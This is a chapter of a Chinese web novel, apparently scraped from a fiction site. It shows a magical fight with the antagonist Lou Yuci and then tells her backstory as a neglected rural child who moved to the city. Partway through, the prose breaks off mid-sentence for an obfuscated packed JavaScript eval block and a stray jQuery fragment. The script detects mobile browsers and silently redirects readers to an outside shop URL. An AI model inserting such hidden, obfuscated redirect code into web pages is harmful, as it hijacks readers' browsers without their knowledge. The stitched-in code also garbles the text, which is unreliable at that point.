文趣网 > 其他小说 > 一纸卦辞渡尘缘 > 35. 辞
    楼玉辞却像身后长了眼,闪身躲了过去只胳膊被擦伤了一点儿,李景毓见状忙止了力道,毕竟那锋利的只一寸就要命中倾袖心口。

    楼玉辞调笑道:“原还是相爱相杀的剧本呢。”

    李景毓顺势用刃断了倾袖身上的禁锢,二人并肩而立。

    “没有灵力能行吗?”

    倾袖哼笑一声:“别拖我后腿就行。”

    李景毓还是头一回见她不是那副病弱模样,而是有些张扬的,让人移不开眼。

    倾袖只一个眼神,李景毓便调动灵力向楼玉辞袭去,她条件反射眯眼躲避的那两秒灵力爆裂成法阵化作一团强光,楼玉辞退后几步心道不好,没等她反应过来,倾袖已突破了阵法手握李景毓腰间的小刀直冲要害而去。

    事发突然楼玉辞这回抵挡得很是勉强,下一秒她捂住因为躲闪留下的深可见骨的伤口,鲜血汩汩从指缝流出,抬头是一脸得不可思议。

    “你们配合得倒是好。”

    楼玉辞不再管受伤的地方如何,任凭鲜血流淌,连眉头都不带皱的,就好像伤口与她无关一般。

    苍白的手中凭空出现了柄灯笼,也不知是哪里来的风扬起砂石来,倾袖拿手挡了挡,透过缝隙她看到那灯笼中的火苗并没有因风而动,本来昏暗的场景也随着光,亮堂起来。

    风停,倾袖与李景毓才看清他们身处的环境。

    这里竟如此之大,可令他们更震惊的却是四周的墙壁,每隔几米便坐落着一个巨大的影子,细看动作随之而动,应当是依托楼玉辞所化的。

    不等他们再想策略,墙壁上的影子就以扭曲的姿势倒了下来,将他们团团围住。

    倾袖和李景毓背靠背不敢有一丝松懈,影子伺机而动直指面门而来,李景毓忙伸手去挡。

    竟是实体?手上传来的疼痛让他惊讶。

    他以为对方只是一团黑雾一样的存在,没想到竟是有人的触感。

    比起虚幻的东西,既是实物那就好办得多了。

    于是立刻一只手抓住倾袖手腕,一只手掐诀,法阵在二人脚下展开,形成屏障将影子隔绝在外。

    楼玉辞饶有兴味地看着,并无半点着急,她们“人多势众”,而对方……不过是单方面防御,她并不担心。

    只用手一指,十几个影子便随之而动,对着法阵似飞蛾扑火般攻击起来。

    倾袖见势掐诀:“天地合德,日月藏辉。

    火急下降,与吾合真。急急如律令。”

    火光从法阵起,将影子飞快地吞噬殆尽,这让他俩得以喘息。

    她觉得奇怪,虽说灵力可由高位掌控调动联接人的灵力,可像他俩如今调用的十分顺畅的却不多见,确切地说她是头一次见。

    就像同气本源,早就融合在一起了一样。

    视线侧移,余光看向身后人,眸色暗沉。

    你到底是谁……

    楼玉辞见此情形并没有慌张,只盯着她二人看,也一样发现了不妥,皱眉道:“你俩为何是……”

    “楼玉辞你……”

    楼玉辞最讨厌别人打断她说话了,来这里之前她不过是一个客户呼之即来挥之即去的小职员,每天不是在电脑跟前画图,就是在现场当苦力,后来慢慢做多了项目,却依旧是那个没有没有任何话语权的员工,她真的受够了。

    “你叫李景毓对吧?你知不知道我最讨厌的就是□□话的人。”

    她手指轻敲灯柄,更多的影子汹涌而出,飘浮在空中。

    倾袖皱眉:“什么东西……”

    这次的影子不似先前那波,虽说看着多,却要淡薄得很。

    变弱了?

    不对……

    倾袖往后靠了一下,紧贴住李景毓的后背,低声提醒:“小心。”

    靠近阵法的影子聚集过来,竟做出人类探究的模样似是观察了几下,咧开嘴笑了。

    此时他们二人都感到了危机感。

    再强大的法阵也不会是完全密不透风的,总有些细密的小孔存在。

    那些影子就像商量好了一样,突然泄成了似沙子的形态,直接钻了进去,很奇怪它们并没有选择直接攻击而是聚在二人身边,像是在等待什么,两人均不敢轻举妄动。

    指节轻叩它们没再给任何反应的机会,化成沙尘的影子成股直直钻进李景毓的眉心,只一瞬他的眼睛便失了神,像是抽了气力般站在那。

    “李景毓!”

    倾袖忙在他面前晃了他肩膀,甚至还拿手在他脸上拍了拍,可他就那样呆着,没有一点反应。

    他们俩灵力可互通,倾袖自然明白楼玉辞的做法,如今大半灵力都在李景毓那里,只要控住一人另一人就很难安稳脱身。

    “楼玉辞,说实话我是小瞧你了。你这样的人,大可有一番作为,为何只盯着谢峥不放?”

    听这话楼玉辞却是一愣,竟想起了曾经每一个不被理解的日日夜夜。

    可惜,她如今没有退路了。

    倾袖站在李景毓身前,她在等一个机会,等她灵力恢复的机会。

    谢峥吗……

    楼玉辞神色晦暗不明,她为何爱他,她自己都说不清。

    当初来到这个世界时,她凭借着现世积累的经验和看过的小说,从零开始终于有了安身之所,她感激这一切的发生,因为那是她一生的执念。

    楼玉辞自小就是作为留守儿童而存在,心智还没完全成熟时就被爸妈彻底丢在了小山村,因为他俩离婚后又有了各自的家庭,年幼的她是他俩新生活中的不可言说。

    看似有父母实则不然,还好,村里的小伙伴们也多为留守儿童,并无人会以此来欺负她,闲暇时她们几个小伙伴总是坐在山头看向她们遥不可及的远方。

    “二丫,你说俺爹娘他们现在在干啥呢?是不是哄弟弟睡觉了。”

    楼玉辞看向远处的夕阳,没有应声,她不知道怎么回答,白天她听见村里小卖部的张婶来家里,说起她爹娘来了电话要她转告,说是他爹娘像是在互相较劲,憋着劲就是要比过对方一样,前后各添了个男娃。

    “二丫那丫头咋整。”

    张婶也算是看着楼玉辞长大的,虽说八卦了些,却也是真心担心她。

    二丫躲在门后听到的只是奶奶长长的叹息,长得像是要将她的一辈子都叹完了。

    从那之后小小的她就懂了,她没人要了,她跟其他伙伴一样了。

    不对,也不一样。

    村里的其他孩子至少过年时还能见上一面,隔壁刘家的招娣儿去年过完年后被父母带去了省城,这让她们都羡慕不已,不知她现在在做什么呢?是不是被爸妈抱在怀里哄睡或是穿着漂亮的裙子吹生日蜡烛呢?

    关于生日、蜡烛、蛋糕这几个词还是有年招娣爸妈寄了信来,信中附带了一张照片,是一个胖乎乎的小男孩看着眼前白色的东西闭着眼睛鼓着嘴的样子,她的奶奶看着照片笑眯了眼。

    “这个是什么?”

    招娣得意地看着楼玉辞科普道:“你不懂了吧,这个叫蛋糕,过生日时吃的,这个叫蜡烛,你多少岁就插几根,点燃许愿后吹灭,第二年你的愿望就一定能实现。”

    “这么神奇!”楼玉辞露出向往的神情,她头一次知道原来生日是需要庆祝的,她还没过过生日呢,不过通常在她生日那天爷爷奶奶都会给她卧个鸡蛋,那是她每年都会期待的东西。

    她没见过那种细细的蜡烛,看了眼家里那根晚上才会电的白烛陷入了想象。

    如果她能许愿,她想去城里看看爸妈……她都好几年没见过他们了……

    还有那蛋糕,是咸咸的还是甜甜的呢?她想了想觉得应当是甜的,不然照片里的男孩不会笑得那么开心。

    “爸妈说也要接我过去他们那了,我今天来就是要跟你道别的,以后我也能穿着漂亮的裙子吃蛋糕吹蜡烛啦!”

    这一刻楼玉辞是真的羡慕极了,比起蛋糕她更想爸妈。

    当然她也在想漂亮的裙子长什么样呢?

    毕竟她们村里的孩子都是捡别人不要的衣服穿的,不合身就补补改改,不衣不蔽体就好,哪里还有漂亮不漂亮的说法。

    漂亮的裙子什么做的呢?是不是比白面还要白上几分?摸着比棉花还要柔软细腻?</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17561071|203473||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    可惜她想象不出来,白面很贵他们一年到头也吃不了几回,她们这里冬天不算太冷,没有棉被多忍忍也能捱过去。

    这一年楼玉辞八岁,招娣在她心里种下了一个关于城市的梦。

    后来爷奶身体不好,还没等楼玉辞上完初中就相继离世,只她一人守着那狭小却空荡的破败屋子。

    村里人给她爸妈打去电话,得到的却是孩子太小抽不出空来,好说歹说才给寄来了一点钱,让楼玉辞将爷奶的后事安顿好。

    那是几年里第一次听到爸妈的声音,声音一响她的泪水就像断了线的珠子,吧嗒吧嗒地掉在黄土地上,洇湿了一大片。

    电话里他们的说辞如出一辙,弟弟还小他们来不了,她是大人了要理解他们,爷奶拉扯她长大不容易,后事理应给他们风光大办。

    她嘴巴哆嗦着用力咽着口水拼命想把哽咽咽下去,却还是发出细小的抽泣声。

    电话那头停了一瞬似是听到了她的声音,不满道:“你这孩子……”

    话没说完那边就传出了婴孩哭闹的声音,声音大得楼玉辞的耳边都有些嗡鸣。

    “好了好了乖宝不哭了,妈妈在呢,妈妈在呢……那个……二丫,你不要闹脾气了,我们也很忙,事情你看着办吧……”

    楼玉辞正要开口,但还没发出声,电话那头就传来嘟嘟的忙音,她后悔了好久,为什么没有说出话,不甘的情绪在每个日日夜夜里浓缩成了恨,不是恨她爸妈,她恨她自己那日为何要强忍呜咽而错过了和他们说话的机会。

    与此同时一种叫嫉妒的情感开始滋生,与她同母,与她同父的弟弟的哭闹太刺耳了。

    为什么他们可以耍脾气等着爸妈去哄,而对她总是没有耐心的爸妈此时也能耐下性子来轻声逗他们。

    就因为她是女孩吗?

    在那种环境下,她无法再踏实读书了,读书对她来说过于奢侈,于是完成义务教育后她便没有再读,而是选择离村打工。

    她鼓足勇气,拿着村里开的证明,给自己办了身份证。

    “你叫什么?”

    楼玉辞愣了愣,脑中浮现了一句:水光闪闪金壶墨,石理硁硁玉佩辞。

    是她无意中翻书时瞧见的,她还问了老师是何含义。

    文辞典雅,风骨凛然。

    “玉辞,我叫楼玉辞。”

    城市可真大啊,大到她看不到自己的渺小,口袋里揣着村里人凑的几百块钱就敢只身前往。

    端盘子、洗碗、卸货,只要是管吃住的工作什么苦她就做什么,也幸好,大城市就连这种干苦活的机会都要多很多,她终于不用再担心自己会不会被饿死在那个小村子里了。

    后来她觉得一直干这些活不是个办法,在手里终于有了一点点不能说是存款的存款后误打误撞进了人生第一个可以称之为公司的地方,婚庆行业,从学徒干起,工资低但可以学到东西,这让她安心不少。

    当初进这个行业,她也是想看看其他人的幸福是真是假,她根本就不相信世间任何的情感,她觉得自己就像阴沟里的老鼠,在暗处啃食着自己的腐烂。

    也不知是不是人生终于要苦尽甘来,她在职场上碰到不少愿意帮她的人,看她年龄小会多做些饭带给她的同事,耐心教她业务和技术的同事,虽然经常加班到深夜,却也觉得感激。

    慢慢的她开始期待,如果自己有个家是不是就能稳定下来了?

    于是继获得父母的爱后买房成了她此生第二个执念。

    她为了有一个自己的家,哪怕是干到晕倒也不敢请假,一心只想着再努力点,再努力点就能买房了,不用太大,一室一厅的小公寓足以。

    努力了好几年,她终于凑够了首付,即使身负贷款,却也知道自己终于有家了,她站在那间不大的房子里,花了半年时间亲手一点点将那里填满。

    渐渐的空空荡荡的房子终于有了她梦寐以求的家的味道。

    当她终于觉得生活进入正轨时,再一睁眼她就躺在这个陌生时代的草丛里,身穿还没有系统,她又终日活在恐惧之中。

    直到谢峥闯入了她的生活。